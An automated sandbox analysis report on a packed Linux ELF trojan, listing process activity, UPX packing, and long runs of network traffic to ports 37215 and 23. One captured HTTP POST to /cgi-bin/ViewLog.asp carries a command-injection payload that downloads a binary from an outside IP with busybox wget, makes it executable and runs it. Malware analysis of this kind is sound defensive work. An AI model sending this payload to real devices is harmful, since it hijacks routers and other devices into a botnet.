    Source: ehzGeYz3RM.elf, 5511.1.00007fc740017000.00007fc74002d000.r-x.sdmp, ehzGeYz3RM.elf, 5514.1.00007fc740017000.00007fc74002d000.r-x.sdmp, ehzGeYz3RM.elf, 5633.1.00007fc740017000.00007fc74002d000.r-x.sdmp, ehzGeYz3RM.elf, 5665.1.00007fc740017000.00007fc74002d000.r-x.sdmp, ehzGeYz3RM.elf, 5639.1.00007fc740017000.00007fc74002d000.r-x.sdmp, ehzGeYz3RM.elf, 5516.1.00007fc740017000.00007fc74002d000.r-x.sdmp, ehzGeYz3RM.elf, 5647.1.00007fc740017000.00007fc74002d000.r-x.sdmp, ehzGeYz3RM.elf, 5522.1.00007fc740017000.00007fc74002d000.r-x.sdmpString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
    Source: ehzGeYz3RM.elfString found in binary or memory: http://upx.sf.net
    Source: unknownHTTP traffic detected: POST /cgi-bin/ViewLog.asp HTTP/1.1Host: 192.168.0.14:80Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: python-requests/2.20.0Content-Length: 227Content-Type: application/x-www-form-urlencodedData Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
    Source: LOAD without section mappingsProgram segment: 0x8000
    Source: /tmp/ehzGeYz3RM.elf (PID: 5514)SIGKILL sent: pid: 933, result: successfulJump to behavior
    Source: /tmp/ehzGeYz3RM.elf (PID: 5520)SIGKILL sent: pid: 933, result: successfulJump to behavior
    Source: classification engineClassification label: mal72.troj.evad.linELF@0/0@2/0

    Data Obfuscation

    barindex
    Source: initial sampleString containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
    Source: initial sampleString containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
    Source: initial sampleString containing UPX found: $Id: UPX 3.94 Copyright (C) 1996-2017 the UPX Team. All Rights Reserved. $
    Source: /tmp/ehzGeYz3RM.elf (PID: 5520)File opened: /proc/490/fdJump to behavior
    Source: /tmp/ehzGeYz3RM.elf (PID: 5520)File opened: /proc/793/fdJump to behavior
    Source: /tmp/ehzGeYz3RM.elf (PID: 5520)File opened: /proc/794/fdJump to behavior
    Source: /tmp/ehzGeYz3RM.elf (PID: 5520)File opened: /proc/850/fdJump to behavior
    Source: /tmp/ehzGeYz3RM.elf (PID: 5520)File opened: /proc/796/fdJump to behavior
    Source: /tmp/ehzGeYz3RM.elf (PID: 5520)File opened: /proc/777/fdJump to behavior
    Source: /tmp/ehzGeYz3RM.elf (PID: 5520)File opened: /proc/931/fdJump to behavior
    Source: /tmp/ehzGeYz3RM.elf (PID: 5520)File opened: /proc/658/fdJump to behavior
    Source: /tmp/ehzGeYz3RM.elf (PID: 5520)File opened: /proc/779/fdJump to behavior
    Source: /tmp/ehzGeYz3RM.elf (PID: 5520)File opened: /proc/812/fdJump to behavior
    Source: /tmp/ehzGeYz3RM.elf (PID: 5520)File opened: /proc/933/fdJump to behavior
    Source: /tmp/ehzGeYz3RM.elf (PID: 5520)File opened: /proc/917/fdJump to behavior
    Source: /tmp/ehzGeYz3RM.elf (PID: 5520)File opened: /proc/782/fdJump to behavior
    Source: /tmp/ehzGeYz3RM.elf (PID: 5520)File opened: /proc/1/fdJump to behavior
    Source: /tmp/ehzGeYz3RM.elf (PID: 5520)File opened: /proc/764/fdJump to behavior
    Source: /tmp/ehzGeYz3RM.elf (PID: 5520)File opened: /proc/766/fdJump to behavior
    Source: /tmp/ehzGeYz3RM.elf (PID: 5520)File opened: /proc/723/fdJump to behavior
    Source: /tmp/ehzGeYz3RM.elf (PID: 5520)File opened: /proc/789/fdJump to behavior
    Source: /tmp/ehzGeYz3RM.elf (PID: 5520)File opened: /proc/800/fdJump to behavior
    Source: /tmp/ehzGeYz3RM.elf (PID: 5520)File opened: /proc/888/fdJump to behavior
    Source: /tmp/ehzGeYz3RM.elf (PID: 5520)File opened: /proc/724/fdJump to behavior
    Source: /tmp/ehzGeYz3RM.elf (PID: 5520)File opened: /proc/802/fdJump to behavior
    Source: /tmp/ehzGeYz3RM.elf (PID: 5520)File opened: /proc/803/fdJump to behavior
    Source: /tmp/ehzGeYz3RM.elf (PID: 5520)File opened: /proc/804/fdJump to behavior
    Source: /tmp/ehzGeYz3RM.elf (PID: 5514)File opened: /proc/490/fdJump to behavior
    Source: /tmp/ehzGeYz3RM.elf (PID: 5514)File opened: /proc/793/fdJump to behavior
    Source: /tmp/ehzGeYz3RM.elf (PID: 5514)File opened: /proc/794/fdJump to behavior
    Source: /tmp/ehzGeYz3RM.elf (PID: 5514)File opened: /proc/850/fdJump to behavior
    Source: /tmp/ehzGeYz3RM.elf (PID: 5514)File opened: /proc/796/fdJump to behavior
    Source: /tmp/ehzGeYz3RM.elf (PID: 5514)File opened: /proc/777/fdJump to behavior
    Source: /tmp/ehzGeYz3RM.elf (PID: 5514)File opened: /proc/931/fdJump to behavior
    Source: /tmp/ehzGeYz3RM.elf (PID: 5514)File opened: /proc/658/fdJump to behavior
    Source: /tmp/ehzGeYz3RM.elf (PID: 5514)File opened: /proc/779/fdJump to behavior
    Source: /tmp/ehzGeYz3RM.elf (PID: 5514)File opened: /proc/812/fdJump to behavior
    Source: /tmp/ehzGeYz3RM.elf (PID: 5514)File opened: /proc/933/fdJump to behavior
    Source: /tmp/ehzGeYz3RM.elf (PID: 5514)File opened: /proc/917/fdJump to behavior
    Source: /tmp/ehzGeYz3RM.elf (PID: 5514)File opened: /proc/782/fdJump to behavior
    Source: /tmp/ehzGeYz3RM.elf (PID: 5514)File opened: /proc/1/fdJump to behavior
    Source: /tmp/ehzGeYz3RM.elf (PID: 5514)File opened: /proc/764/fdJump to behavior
    Source: /tmp/ehzGeYz3RM.elf (PID: 5514)File opened: /proc/766/fdJump to behavior
    Source: /tmp/ehzGeYz3RM.elf (PID: 5514)File opened: /proc/723/fdJump to behavior
    Source: /tmp/ehzGeYz3RM.elf (PID: 5514)File opened: /proc/789/fdJump to behavior
    Source: /tmp/ehzGeYz3RM.elf (PID: 5514)File opened: /proc/800/fdJump to behavior
    Source: /tmp/ehzGeYz3RM.elf (PID: 5514)File opened: /proc/888/fdJump to behavior
    Source: /tmp/ehzGeYz3RM.elf (PID: 5514)File opened: /proc/724/fdJump to behavior
    Source: /tmp/ehzGeYz3RM.elf (PID: 5514)File opened: /proc/802/fdJump to behavior
    Source: /tmp/ehzGeYz3RM.elf (PID: 5514)File opened: /proc/803/fdJump to behavior
    Source: /tmp/ehzGeYz3RM.elf (PID: 5514)File opened: /proc/804/fdJump to behavior

    Hooking and other Techniques for Hiding and Protection

    barindex
    Source: unknownNetwork traffic detected: HTTP traffic on port 40420 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 43826 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 40420 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 43826 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 40420 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 41754 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 54842 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 43826 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 40420 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 36248
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 36272
    Source: unknownNetwork traffic detected: HTTP traffic on port 41754 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 36308
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 36322
    Source: unknownNetwork traffic detected: HTTP traffic on port 43826 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 36338
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 36352
    Source: unknownNetwork traffic detected: HTTP traffic on port 41222 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 36364
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 36382
    Source: unknownNetwork traffic detected: HTTP traffic on port 40552 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 36396
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 36436
    Source: unknownNetwork traffic detected: HTTP traffic on port 40420 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 41754 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 41222 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 40552 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 43826 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 33652 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 41222 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 40552 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 41126 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 41754 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 40420 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 43648 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 58754 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 41126 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 43648 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 58754 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 41222 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 43648 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 58754 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 40552 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 41126 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 43648 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 49448 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 58754 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 43826 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 49448 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 49448 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 37002 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 52988 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 62714
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 32958
    Source: unknownNetwork traffic detected: HTTP traffic on port 43648 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 49448 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 58754 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 37262
    Source: unknownNetwork traffic detected: HTTP traffic on port 41126 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 41754 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 37270
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 37392
    Source: unknownNetwork traffic detected: HTTP traffic on port 49448 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 37404
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 37422
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 37434
    Source: unknownNetwork traffic detected: HTTP traffic on port 56352 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 50272 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 37462
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 37480
    Source: unknownNetwork traffic detected: HTTP traffic on port 50272 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 37504
    Source: unknownNetwork traffic detected: HTTP traffic on port 41222 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 37512
    Source: unknownNetwork traffic detected: HTTP traffic on port 33012 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 50272 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 56352 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 40552 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 43648 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 40420 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 58754 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 50272 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 56352 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 50660 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 40054 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 50660 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 49448 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 34424 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 50660 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 50272 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 40054 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 34424 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 41126 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 34424 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 50660 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 43826 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 40054 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 56352 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 34424 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 50660 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 50362 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 40936 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 50272 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 50362 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 34202 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 39578 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 34424 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 50362 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 40054 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 39578 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 34202 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 39578 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 34202 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 43648 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 50362 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 58754 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 59540 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 37215 -> 59540
    Source: unknownNetwork traffic detected: HTTP traffic on port 39578 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 34202 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 50660 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 49448 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 41754 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 41638 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 56352 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 41638 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 39578 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 50362 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 41638 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 34202 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 41222 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 40652 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 40552 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 34424 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 41638 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 40652 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 42778 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 42778 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 40054 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 56422 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 37215 -> 56422
    Source: unknownNetwork traffic detected: HTTP traffic on port 42778 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 50272 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 40652 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 39578 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 33430 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 41638 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 42778 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 33430 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 33430 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 41126 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 33564 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 33564 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 41712 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 37215 -> 33564
    Source: unknownNetwork traffic detected: HTTP traffic on port 37215 -> 41712
    Source: unknownNetwork traffic detected: HTTP traffic on port 50362 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 34202 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 42778 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 33430 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 50660 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 40652 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 33430 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 34778 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 41638 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 57756 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 34778 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 51610 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 57200 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 38688 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 34778 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 51610 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 57200 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 38688 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 51610 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 57200 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 42778 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 38688 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 34778 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 44146 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 56026 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 56026 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 51610 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 57200 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 38688 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 56026 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 34424 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 44146 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 39578 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 34778 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 56026 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 56352 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 40652 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 51610 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 44146 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 57200 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 41376 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 38688 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 33430 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 34620
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 34620
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 34630
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 34716
    Source: unknownNetwork traffic detected: HTTP traffic on port 41376 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 34730
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 34748
    Source: unknownNetwork traffic detected: HTTP traffic on port 56026 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 34756
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 34776
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 34816
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 34832
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 34842
    Source: unknownNetwork traffic detected: HTTP traffic on port 33086 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 44962 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 44962 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 40054 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 41376 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 44962 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 50362 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 34202 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 33086 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 44146 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 34778 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 46494 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 51610 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 44962 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 57200 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 38688 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 50400 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 46484 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 57126 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 33086 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 50400 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 46494 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 46484 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 42778 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 41638 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 56026 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 57644 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 35590 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 50400 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 46588 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 45936 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 46484 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 41376 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 44962 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 49428 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 22545
    Source: unknownNetwork traffic detected: HTTP traffic on port 57644 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 35590 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 47024
    Source: unknownNetwork traffic detected: HTTP traffic on port 46494 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 46588 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 45936 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 50400 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 46484 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 58756 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 59944 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 46586 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 33086 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 59944 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 46586 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 57644 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 35590 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 35064 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 45936 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 46588 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 59944 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 46586 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 46484 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 42328 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 50400 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 59944 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 42328 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 44146 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 46586 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 46494 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 49896 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 42706 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 33430 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 44962 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 42328 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 50528 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 36062 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 55450 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 49896 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 42706 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 57644 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 35590 -> 37215
    Source: ehzGeYz3RM.elfSubmission file: segment LOAD with 7.965 entropy (max. 8.0)
    Source: /tmp/ehzGeYz3RM.elf (PID: 5511)Queries kernel information via 'uname': Jump to behavior
    Source: ehzGeYz3RM.elf, 5511.1.00007fffa4d83000.00007fffa4da4000.rw-.sdmp, ehzGeYz3RM.elf, 5514.1.00007fffa4d83000.00007fffa4da4000.rw-.sdmp, ehzGeYz3RM.elf, 5633.1.00007fffa4d83000.00007fffa4da4000.rw-.sdmp, ehzGeYz3RM.elf, 5665.1.00007fffa4d83000.00007fffa4da4000.rw-.sdmp, ehzGeYz3RM.elf, 5639.1.00007fffa4d83000.00007fffa4da4000.rw-.sdmp, ehzGeYz3RM.elf, 5516.1.00007fffa4d83000.00007fffa4da4000.rw-.sdmp, ehzGeYz3RM.elf, 5647.1.00007fffa4d83000.00007fffa4da4000.rw-.sdmp, ehzGeYz3RM.elf, 5522.1.00007fffa4d83000.00007fffa4da4000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-arm/tmp/ehzGeYz3RM.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/ehzGeYz3RM.elf
